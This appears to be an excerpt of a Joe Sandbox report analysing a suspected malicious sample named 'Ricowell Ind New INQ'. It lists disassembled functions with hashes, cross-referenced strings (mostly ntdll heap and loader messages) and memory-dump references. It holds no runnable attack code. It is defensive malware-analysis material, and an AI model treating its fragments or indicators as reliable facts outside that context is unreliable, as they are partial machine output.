Instruction ID: f39d1cde241f24857cb547c543c93aa55087c96206dc4d2bb9b6a4e982916290
Opcode Fuzzy Hash: 3116b2b427aadd7bb6cf8515d833aa08320c7b56b8e8bc6677c1e3b67145ae93
Instruction Fuzzy Hash: 24900265221040120545A558070450B044557E6351391C85AF1406591DC631886D7321

Function 378C29D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aa89c4f049459b2fa6f47b37b683f0860506414014ea49d843ed9aa9b1b3cbd
Instruction ID: fca4d89128e1adddd08cbe1c2f9dba5b0f6a20cc505a8f3b072350598b221819
Opcode Fuzzy Hash: 5aa89c4f049459b2fa6f47b37b683f0860506414014ea49d843ed9aa9b1b3cbd
Instruction Fuzzy Hash: 769002E1201180A24900A2588504B0A450547F0201B51C85BE1044561DC5358859B135

Function 378C29F0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a706a257dcea8a4246701a9f49ca2ce252e66ab61ec14106edc7de99af9d4705
Instruction ID: d687b25320fd54f954226a147ab4737bf9514f89f7392ae111f66086c5b4ca4e
Opcode Fuzzy Hash: a706a257dcea8a4246701a9f49ca2ce252e66ab61ec14106edc7de99af9d4705
Instruction Fuzzy Hash: 86900475311040130505F55C0704507004747F5351351CC77F1005551DD731CC7D7131

Function 378C38D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fed33f7d78cd12e8694228a0ab7cf0535a48b146699cb392ff279775bec1528
Instruction ID: 1bd2c318c556850837fe9b5257797f447b594a3e18d1b477d80953a5f01c79d2
Opcode Fuzzy Hash: 6fed33f7d78cd12e8694228a0ab7cf0535a48b146699cb392ff279775bec1528
Instruction Fuzzy Hash: 8790026124509112D550715C4504616400567F0201F51C866A0804595EC565885D7221

Function 378C2B20 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: e1cc44de56d8170cd4c0dfbcb0db651148000713cfb7209165dc5e88549e054e
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Function 3758E00A Relevance: 56.5, Strings: 45, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@@@@, xrefs: 3758E1A9
@@@@, xrefs: 3758E1EF
89:;, xrefs: 3758E091
@@@@, xrefs: 3758E139
@@@@, xrefs: 3758E163
@@@@, xrefs: 3758E1E1
@@@@, xrefs: 3758E19B
@@@@, xrefs: 3758E1B7
@@@@, xrefs: 3758E18D
@@@@, xrefs: 3758E155
@@@@, xrefs: 3758E1D3
@@@@, xrefs: 3758E15C
@@@@, xrefs: 3758E0D7
@@@@, xrefs: 3758E1E8
@@@@, xrefs: 3758E1CC
@@@@, xrefs: 3758E1C5
@@@@, xrefs: 3758E178
@@@@, xrefs: 3758E140
@@@@, xrefs: 3758E116
4567, xrefs: 3758E08A
@@@@, xrefs: 3758E09F
%&'(, xrefs: 3758E0F3
@@@@, xrefs: 3758E1B0
@@@@, xrefs: 3758E1A2
@@@?, xrefs: 3758E083
@@@@, xrefs: 3758E132
@@@@, xrefs: 3758E124
!"#$, xrefs: 3758E0EC
@@@@, xrefs: 3758E1BE
@@@@, xrefs: 3758E12B
?, xrefs: 3758E200
@@@@, xrefs: 3758E186
)*+,, xrefs: 3758E0FA
<=@@, xrefs: 3758E098
@@@@, xrefs: 3758E10F
@@@@, xrefs: 3758E11D
@@@@, xrefs: 3758E14E
@@@@, xrefs: 3758E147
@@@@, xrefs: 3758E171
123@, xrefs: 3758E108
@@@@, xrefs: 3758E1DA
@@@@, xrefs: 3758E194
-./0, xrefs: 3758E101
@@@@, xrefs: 3758E16A
@@@@, xrefs: 3758E17F

Memory Dump Source

Source File: 00000003.00000002.790967762077.0000000037580000.00000040.00001000.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37580000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$4567$89:;$<=@@$?$@@@?$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@
API String ID: 0-3558027158
Opcode ID: f0a01497f9d70edd9c1eaba89057f459497440e0fcdde74156de784b25768cc6
Instruction ID: a4b072ce9ea4579f88f6e623a03b27364ead1fa40ea2364a38afeec95a3473a0
Opcode Fuzzy Hash: f0a01497f9d70edd9c1eaba89057f459497440e0fcdde74156de784b25768cc6
Instruction Fuzzy Hash: CB9150F04482988AC7158F55A0612AFFFB1EBC6305F15816DE7E6BB243C3BE8905CB85

Function 37583CAE Relevance: 38.8, Strings: 31, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@KP$, xrefs: 37583D22
P3<", xrefs: 37583DBC
3<"P, xrefs: 37583D53
KP^>, xrefs: 37583DE6
^C@G, xrefs: 37583DCA
5$D^, xrefs: 37583DED
D^@3, xrefs: 37583DDF
BIKP, xrefs: 37583DD1
3PE, xrefs: 37583D84
^>5$, xrefs: 37583DB5
^>5$, xrefs: 37583D92
^@KP, xrefs: 37583D8B
GKP=, xrefs: 37583D68
E@GB, xrefs: 37583D61
BIKP, xrefs: 37583DAE
^C@G, xrefs: 37583DA7
^>5$, xrefs: 37583DD8
E^@P, xrefs: 37583CDC
P3<", xrefs: 37583D99
^@KP, xrefs: 37583D37
B^@^, xrefs: 37583D5A
$PF^, xrefs: 37583D1B
PC^E, xrefs: 37583DC3
5PI^, xrefs: 37583CFF
#<33, xrefs: 37583D3E
@KP', xrefs: 37583D06
AKP^, xrefs: 37583D45
PC^@, xrefs: 37583DA0
@5Y, xrefs: 37583DF4
P=#9, xrefs: 37583CF8
>5$P, xrefs: 37583D4C

Memory Dump Source

Source File: 00000003.00000002.790967762077.0000000037580000.00000040.00001000.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37580000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: 3PE$#<33$$PF^$3<"P$5$D^$5PI^$>5$P$@5Y$@KP$$@KP'$AKP^$BIKP$BIKP$B^@^$D^@3$E@GB$E^@P$GKP=$KP^>$P3<"$P3<"$P=#9$PC^@$PC^E$^>5$$^>5$$^>5$$^@KP$^@KP$^C@G$^C@G
API String ID: 0-364484585
Opcode ID: 14c4f5c3721c6c51605a06d982edd735645dff0763cca436756bd3197d61bfae
Instruction ID: ee8db4c772a759115b5c02d161296b32eaefb9fc3122534f6ae36eda9fa00aa1
Opcode Fuzzy Hash: 14c4f5c3721c6c51605a06d982edd735645dff0763cca436756bd3197d61bfae
Instruction Fuzzy Hash: 704124B090434CDBCF29DF84D0806DEBBB0FF49714F854119EA6A7F244C7BA86568B89

Function 3795A1F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3795A25D
RtlDebugPrintTimes.NTDLL ref: 3795A2F1
RtlDebugPrintTimes.NTDLL ref: 3795A314
RtlDebugPrintTimes.NTDLL ref: 3795A340
RtlDebugPrintTimes.NTDLL ref: 3795A415
RtlDebugPrintTimes.NTDLL ref: 3795A468
RtlDebugPrintTimes.NTDLL ref: 3795A487
RtlDebugPrintTimes.NTDLL ref: 3795A4B8

Strings

HEAP: , xrefs: 3795A206

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP:
API String ID: 3446177414-2466845122
Opcode ID: 481faf48046fe9d61a4fa01438752b2307b85af6eeabb711a588f8c4b15ab49c
Instruction ID: 824ebc239c83622bf03bdff548a9e0432a5e91f09afe6c0f299e1d67770e5519
Opcode Fuzzy Hash: 481faf48046fe9d61a4fa01438752b2307b85af6eeabb711a588f8c4b15ab49c
Instruction Fuzzy Hash: 9BA17B756083228FD714CE18C8D4A2ABBE9FF88768F04466DE945DB310EB74EC46CB95

Function 378B7550 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 378F4530
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 378F4507
Execute=1, xrefs: 378F451E
CLIENT(ntdll): Processing section info %ws..., xrefs: 378F4592
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 378F4460
ExecuteOptions, xrefs: 378F44AB
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 378F454D

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: a3d40dc65161eb911eece870376e9820958d9adf78d85e8563bf27f2d4f9af81
Instruction ID: bccd2bca1b21409f5edd0146de94938b72704f462a2460fefe196e3ca656d701
Opcode Fuzzy Hash: a3d40dc65161eb911eece870376e9820958d9adf78d85e8563bf27f2d4f9af81
Instruction Fuzzy Hash: D05108719003197EEF209E98EC85FA973A8AF29354F4005EED515E7381DA34AA45CE51

Function 3789A170 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404COMMON

Download Yara Rule

Strings

RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 378E78F3
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 378E77E2
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 378E7807
SsHd, xrefs: 3789A304
RtlpFindActivationContextSection_CheckParameters, xrefs: 378E77DD, 378E7802
Actx , xrefs: 378E7819, 378E7880

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 0-1988757188
Opcode ID: d16e73cf6795e7b356de9cc8878a3f45ebdc8c38e0444e2c9b3345cdde6de62d
Instruction ID: f1cc9b0b03292787ea840c19436e7fe906a3a85f4f37be084049c89fc20cafee
Opcode Fuzzy Hash: d16e73cf6795e7b356de9cc8878a3f45ebdc8c38e0444e2c9b3345cdde6de62d
Instruction Fuzzy Hash: 22E1CF746083058FE705CE68C8D07EAB7E5BBA6364F504A3DE865DB690DB31E845CB83

Function 3789D690 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 372timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378E9299

Strings

GsHd, xrefs: 3789D794
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 378E9153
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 378E9178
RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section, xrefs: 378E9372
RtlpFindActivationContextSection_CheckParameters, xrefs: 378E914E, 378E9173
Actx , xrefs: 378E9315

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Actx $GsHd$RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.
API String ID: 3446177414-2196497285
Opcode ID: 1252ec5c9e2ed80a2c46a052a681a3cf750fa904ab5f9d5a7a86f25be414b3fd
Instruction ID: 635d2b35589557a642821d957a5bab733994bf4692d6143e6de093cc704a4394
Opcode Fuzzy Hash: 1252ec5c9e2ed80a2c46a052a681a3cf750fa904ab5f9d5a7a86f25be414b3fd
Instruction Fuzzy Hash: 0DE1C6746043459FE700CF14C880B9AF7E5BFAA368F404A7DE895AB782D770E845CB92

Function 3792F0A5 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3792F0D6

Strings

HEAP[%wZ]: , xrefs: 3792F267, 3792F314, 3792F36B
Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 3792F33E
Just allocated block at %p for %Ix bytes, xrefs: 3792F288
HEAP: , xrefs: 3792F274, 3792F321, 3792F378
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 3792F389
RtlAllocateHeap, xrefs: 3792F0ED

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 3446177414-1745908468
Opcode ID: 9c8ab7f9347c34bff8f03929b7aeeb10cc763e510d9b8e39fa2c3b2b89ed87b1
Instruction ID: 8e1a405f156f6200f7ed0a6c4d3763f4af8edad52a836cb0bdafb17f7203c796
Opcode Fuzzy Hash: 9c8ab7f9347c34bff8f03929b7aeeb10cc763e510d9b8e39fa2c3b2b89ed87b1
Instruction Fuzzy Hash: 64910E35904688DFDB01EFA8C440AADBBF3FF1A368F148249E451AB752CB39A941DF11

Function 378FFA02 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378FFAF3
RtlDebugPrintTimes.NTDLL ref: 378FFB15

Strings

minkernel\ntdll\ldrdload.c, xrefs: 378FFA68
$, xrefs: 378FFABD
Unknown, xrefs: 378FFA42, 378FFA54
Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx, xrefs: 378FFA58
LdrpRedirectDelayloadFailure, xrefs: 378FFA5E

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
API String ID: 3446177414-4227709934
Opcode ID: 32e74f1e1ae5e571bb5a70d380acadf6d2056f77d5ce19ac5507ee35090ba4a1
Instruction ID: 55ec79465d263a8ee2e8b5f19033a42213edc648544475e71250777699d4a9f6
Opcode Fuzzy Hash: 32e74f1e1ae5e571bb5a70d380acadf6d2056f77d5ce19ac5507ee35090ba4a1
Instruction Fuzzy Hash: 85416DB9A01209EFDB01CF99D885ADEBBB5FF58768F100169E904B7340D772AA01CF90

Function 3792F8F8 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3792F92E

Strings

HEAP[%wZ]: , xrefs: 3792F9EC, 3792FAD7
RtlFreeHeap, xrefs: 3792F948, 3792F9B2
HEAP: , xrefs: 3792F9F9, 3792FAE4
About to free block at %p, xrefs: 3792FA0A
About to free block at %p with tag %ws, xrefs: 3792FAFE

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
API String ID: 3446177414-3492000579
Opcode ID: dedf01f1821fd519f2500b36a0c8e88af626e8ec169889f8b9a8b442196bc549
Instruction ID: de024b870f0eb7ac71ad3c57f605c34bd6e3c2f52d1b7144ed4dcbab7f90dd59
Opcode Fuzzy Hash: dedf01f1821fd519f2500b36a0c8e88af626e8ec169889f8b9a8b442196bc549
Instruction Fuzzy Hash: B3712034901688DFDB01EFA8D4906ADFBF2FF49328F148299E495AB352DB389941DF41

Function 37876565 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 37876614
RtlDebugPrintTimes.NTDLL ref: 3787665F

Strings

LdrpLoadShimEngine, xrefs: 378D984A, 378D988B
Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 378D9843
Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 378D9885
minkernel\ntdll\ldrinit.c, xrefs: 378D9854, 378D9895

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-3589223738
Opcode ID: d28dd3f762cc7808232597825ede33de4071242a430b23ad6f1da1bcc8c0f9a5
Instruction ID: 809b2bd6f7df3ad2f32469d8dca3c287c51245b60f719c249f38f7764bb65ce2
Opcode Fuzzy Hash: d28dd3f762cc7808232597825ede33de4071242a430b23ad6f1da1bcc8c0f9a5
Instruction Fuzzy Hash: D5511375B003889FEB00DFACC855B9D77B6AF65318F440265E521BF295DB38AC42CB42

Function 378ADA20 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378EF41B

Strings

HEAP[%wZ]: , xrefs: 378EF444
, passed to %s, xrefs: 378EF46C
RtlUnlockHeap, xrefs: 378EF467
HEAP: , xrefs: 378EF451
Invalid heap signature for heap at %p, xrefs: 378EF45D

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
API String ID: 3446177414-3224558752
Opcode ID: 6c3b4ad10a9e878a2fb0148155b7f4d4a6e21242ae99643d3ff50971c7f1e971
Instruction ID: 4be4c8e72ecaf0f803109aebeb99bc15ce216f7a5341a2f5afa6bbb83d831eff
Opcode Fuzzy Hash: 6c3b4ad10a9e878a2fb0148155b7f4d4a6e21242ae99643d3ff50971c7f1e971
Instruction Fuzzy Hash: D2415A35604744DFE751CF68C444B5AB7A9EF623B8F1085A8E41597781CB3CB980CFA2

Function 3792ECD7 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3792EDD0
RtlDebugPrintTimes.NTDLL ref: 3792EE45

Strings

Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information, xrefs: 3792EDE3
HEAP: , xrefs: 3792ECDD
---------------------------------------, xrefs: 3792EDF9
Entry Heap Size , xrefs: 3792EDED

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: ---------------------------------------$Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information$Entry Heap Size $HEAP:
API String ID: 3446177414-1102453626
Opcode ID: 2148e8fe4cc138388e8bb444d6c3dabedfe43e099ac44e2ba1ffb07049d1a6e0
Instruction ID: c4fabff5683c0fe889385e1367b9e2358e23e66054cb07249f720691f9ab1189
Opcode Fuzzy Hash: 2148e8fe4cc138388e8bb444d6c3dabedfe43e099ac44e2ba1ffb07049d1a6e0
Instruction Fuzzy Hash: AF41E079A00259DFDB00EF18D488A597BF9FF4936CB298269D444AB326C735EC02DF80

Function 378ADAC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378EF561

Strings

HEAP[%wZ]: , xrefs: 378EF58A
RtlLockHeap, xrefs: 378EF5AD
, passed to %s, xrefs: 378EF5B2
HEAP: , xrefs: 378EF597
Invalid heap signature for heap at %p, xrefs: 378EF5A3

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
API String ID: 3446177414-1222099010
Opcode ID: 0cb8373120b8788adb2564456af901887280e2f0f14307aabe875381c7f51bb7
Instruction ID: eea5cdaca7b702f49891bb4377687bf7385f1978ea8130f7052e35c339a77779
Opcode Fuzzy Hash: 0cb8373120b8788adb2564456af901887280e2f0f14307aabe875381c7f51bb7
Instruction Fuzzy Hash: 4731F4351057C8EFE792CF28C405B5977E8EF32778F004585E452ABB51CB69AA41CF62

Function 37889046 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378E2360

Strings

$, xrefs: 378890B1
@, xrefs: 37889095

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$@
API String ID: 3446177414-1194432280
Opcode ID: 4e4c42e8e72f39bc2234b641a2c867bb43a1bdf971c218cde32287b86359debc
Instruction ID: 1878194cab26fb1ced36b7128ad106109813c55c02b5318e2f654b7eef18b045
Opcode Fuzzy Hash: 4e4c42e8e72f39bc2234b641a2c867bb43a1bdf971c218cde32287b86359debc
Instruction Fuzzy Hash: 12814AB1D002699BDB21CF54CC41BEEB7B8AF19714F0041EAE919B7690E7349E85CFA1

Function 378B4C3D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378B4C84

Strings

LdrpFindDllActivationContext, xrefs: 378F3440, 378F346C
Querying the active activation context failed with status 0x%08lx, xrefs: 378F3466
minkernel\ntdll\ldrsnap.c, xrefs: 378F344A, 378F3476
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 378F3439

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-3779518884
